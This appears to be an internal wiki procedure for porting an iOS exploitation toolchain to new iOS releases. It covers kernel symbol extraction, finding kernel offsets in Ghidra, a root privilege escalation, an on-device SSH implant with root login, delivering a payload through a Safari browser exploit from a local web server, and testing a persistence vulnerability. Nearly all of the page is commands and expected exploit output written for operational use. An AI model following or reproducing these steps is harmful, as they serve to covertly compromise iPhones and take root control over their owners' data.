iOS Triage Process

This describes the process needing to been done when a new iOS version is released.

Pre Setup

1. Make a directory store output folders
   1. mkdir OUT
   2. set $OUT
      1. export OUT=<PWD>/OUT (PWD = mac command for present working directory)
2. Grab the entire ios_manifest
   1. mkdir iOS and change into it
   2. repo init -u ssh://git@stash.devlan.net:7999/ios/ios_manifest
   3. repo sync
   4. set $IOS_REPO

      1. export IOS_REPO=<PATH>/ios_repo 

3. Grab a testdylib for testing
   1. get testdylib_manifest
      1. repo init -u ssh://git@stash.devlan.net:7999/ios/testdylib_manifest
      2. repo sync
   2. cd into testdylib_repo/testdylib
   3. make
   4. set $TEST_DYLIB
      

      1. export TEST_DYLIB=<PWD>/testdylib_repo/Build/Release-iPhoneOS/testdylib/testmain

4. Make sure ghidra_dir installed

   1. must be at least version 6

   2. in your ghidra install look for a folder that contains "ghidraRun"

   3. set $GH_PATH to the path specified above
   4. export GH_PATH=<path>
      1. use full not relative path

List of tools now needed

1. Xcode Developer Disk Image (DMG)
   1. Install Xcode (get the lastest released)
      1. find DMG in xcode directory 

         (/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/<current version>/DeveloperDiskImage.dmg))

   2. put with the other DMG's ( redux/res/dmg )

Saline

1. cd $IOS_REPO/saline
2. make clean
3. make
4. run saline
   1.  $IOS_REPO//Dist/Release-MacOSX/saline $TEST_DYLIB

Adderall

1. cd into $IOS_REPO/nightversion/python/nv_kern_read_command.py 
   1. update kern start
   2. in get_ios_type, verify correct version number is in there
2. update make files in $IOS_REPO/early-make by adding new prefix to new to the lists
   1. early-bokken 
   2. early-close
   3. early-persist 
   4. early-remote 
3. update rana
   
   1. update match function in $IOS_REPO/rana/ranas/<proper>_rana.py
   2. <proper> is most likely saline
4. cd $IOS_REPO/adderall
5. make clean
6. make
7. under $OUT make a folder for adderall files
   1. mkdir $OUT/adder_files
   2. we will call it $AD_OUT
   3. export AD_OUT="$OUT/adder_files" 
8. cd $IOS_REPO/Dist/Release-MacOSX/
9. ./adderall-dist $AD_OUT
10. Hopefully have execution
11. If theses are beta version then copy the folder in your $AD_OUT to: /Volumes/share/MDB/iOS/iOSFiles-Beta/
12. If theses are not beta version then copy the folder in your $AD_OUT to: /Volumes/share/MDB/iOS/iOSFiles/

Symdra / Elsym

1. under $OUT make a folder for adderall files
   1. mkdir $OUT/sym_files
   2. we will call it $SYM_OUT
   3. export SYM_OUT="$OUT/sym_files" 
2. create branch for elsym-dist

   1. cd $IOS_REPO/elsym-dist/

   2. git checkout -b <descriptive_name>

3. cd back to $IOS_REPO

   1. cd $IOS_REPO

4. run symdra from the $IOS_REPO directory
   1. python symdra/ full -k $AD_OUT -a $SYM_OUT -g $GH_PATH -b <build_number_for_device>
      1. ex. "-b 13A4325c"
   2. (YES you are running python on a folder)
5. When done symbol.db in $SYM_OUT
   1. ls $SYM_OUT/*/symbol.db
6. This will be feed into Elsym
7. Check that the symbol.db is good
   1. sqlite3 $SYM_OUT/<IPSW>/symbol.db
   2. select * from [ Master_Symbols ];
   3. .exit
8. verify elsym
   1. cd $IOS_REPO/elsym
   2. git checkout -b <descriptive_name>
   3. el.py
      1. make sure build number is in the list
      2. might need to change "EL_CONFIG_LWVM_PARITION_FLAG_OFFSET"
         1. For iOS 8.4 we had to change it to 0x28. To determine:
            1. Open ghidra
            2. File -> Open Project
            3. goto the symdra_results/<IPSW>/Ghidra/kernelcache.gpr
            4. Open the System.kext and search for the string "disk0s1", "disk0s1s1", "Writable", and/or "UUID"
            5. This function is bsd_init (note this is heavily inlined and may not fully decompile)
            6. Find the call to _VNOP_IOCTL
            7. The second parameter is the ioctl number we need (in the past was 0xc01064c2 but might be broken into two instructions)
            8. Note the ioctl number
            9. Open com.apple.driver.LightweightVolumeManager.kext
            10. Search Program Text for the ioctl number (note you may want to search for half of it at a time) being used in a comparison
            11. This function is the ioctl handler
            12. Inside the true block of the conditional, look for the constants on the ioctl
            13. One of the commands sets a read-only field (1), the offset for this field is the LWVM_PARTION_FLAG_OFFSET.
   4. run and see what happen
      1. ZOO_IPSW_PATH=$SYM_OUT make copyonedist ZOO_TARGET=<IPSW>
         1. ex. ZOO_IPSW_PATH=$SYM_OUT make copyonedist ZOO_TARGET=iPad4,1_9.0_13A341
         2. _kernel_memory_allocate is only used for the development
   5. python verify.py $IOS_REPO/elsym-dist/
   6. python print_config.py $IOS_REPO/elsym-dist/el_<IPSW>.plist
9. (folder: elsym) If changes to elsym were made put up for pull request
10. (folder: elsym-dist) For new el_*.plist put up for up requests

Nightvision

1. under $OUT make a folder for nightvision files
   1. mkdir $OUT/nv_files
   2. we will call it $NV_OUT
   3. export NV_OUT="$OUT/nv_files" 

2. cd $IOS_REPO/nightvision

3. make clean
4. make dist
5. $IOS_REPO/Dist/Release-iPhoneOS/nv -c $IOS_REPO/elsym-dist/ get -o $NV_OUT/ 

6. tar -tvf $NV_OUT/<IPSW>..tbz  | grep "/private/var/root"

   1. You should see files in the list

El_util

1. cd $IOS_REPO/elutil
2. make clean
3. make ZOO_IPSW="<target>"
   1. ex. make ZOO_IPSWS=iPhone6,1_13A341
4. el_runo.sh don't use even if it is in the directory
5. cd $IOS_REPO/rana
6. make

7. python /Users/User #77254/g/TriageUpdate/ios_repo/Build/Release-MacOSX/rana.pyz -a execute /Users/User #77254/g/TriageUpdate/ios_repo/Build/Release-iPhoneOS/elutil/iPhone6,1_13A341/el_priv

   1. should be "uid = 0, euid = 0"

--REWRITE End--

El_unit

1. cd $IOS_REPO/elunit
2. ZOO_ISPW_PATH=$SYM_OUT make
   1. need a device on the developer profile
3. should only have 1 failed test

El_ssh

1. go into el_ssh

2. ZOO_IPSWS="<target>" EL_SSH_ACCESS="close" ZOO_ISPW_PATH=<outdir> make

   1. If you get the following error

   2. el_ssh/Makefile:46: *** No ipsw resources for <target> .  Stop.

   3. copy the plist from your elsym-dist from the symdra test into the elsym-dist in your manifest
3. ../Dist/Release-iPhoneOS/el_ssh install
4. ../Dist/Release-iPhoneOS/el_ssh run
5. ../Dist/Release-iPhoneOS/el_ssh dumpkey ssh.key
6. ../Dist/Release-iPhoneOS/el_ssh relay -p 2222
7. ssh -i ssh.key -p 2222 root@localhost
8. ls bin_nohash

Remote

1. under testdylib manifest
2. in testdylib make dist
3. under mcnugget manifest
4. cd mcnugget 
5. make
6. cd mcp_archon
7. archon.py
   1. variable = iOS
8. earth.py
   1. variable = iOS
9. soul.py
   1. (doesn't actually check version) we are good
10. safari 
    1. settings advance Web Inspector on
       1. Settings -> Advanced -> Web Inspector 
    2. settings developer enable UIUser Interface automation
11. ZOO_IPSW_PATH=~/temp/ ZOO_CONFIG=Release make delivery
12. cd ../Build/Release-MacOSX/mcnugget/

13. ./mc_creator plist --url http://<ip>:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""

    1. <ip> is the ip of your Mac ( not your iDevice)

    2. OR if your feel like cheating ./mc_creator plist --url http://`ifconfig | grep "inet 10" | cut -d " " -f 2`:8080 --server-port 8080 -t myid mc.plist --console --passphrase ""

14. ./solcreate mc.plist /<path>/testdylib.zip -t myid -o myid.sol --nonpersist

15. ./mc_creator server mctest mc.plist mcplugins/mcp_* myid.sol

16. ./mctest 

    1. press enter when prompted for passphrase

    2. wait for ENGINE Bus STARTED
17. Make sure device is on wifi
18. Connect device via usb 
    1. then run python mdf syslog
19. verify safari is not loaded in memory on target
20. On device open safari 
    1. then browse to http://<ip>:8080/?id=myid
21. On mctest log you should see

    1. "exploitation succeeded, deleting from target dictionary"

22. In the syslog you should see the 

    1. "iPhone locationd[57] <Emergency>: ==== Testdylib Started at:"

Persistence

Test of vulnerability

1. install el_ssh
2. git the grist_manifest
3. init repo
4. goto into the dyld-js folder in the repo

5. make dylinker_test ZOO_CONFIG=Debug

6. ~/git2/el_ssh_manifest/Dist/Release-iPhoneOS/scp -i <key file> ../Build/Debug-iPhoneOS/dyld-js/dylinker_test_<arch>.js root@<device ip>:

7. ssh -i <key file> root@<device ip>

8. /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc dylinker_test_64.js

9. You should see [dylinker] 5 of 5 passed.

Related articles

iOS Firmware Updating to latest procedure / Adding Exploit Support For New Devices

('contentbylabel' missing)

('details' missing)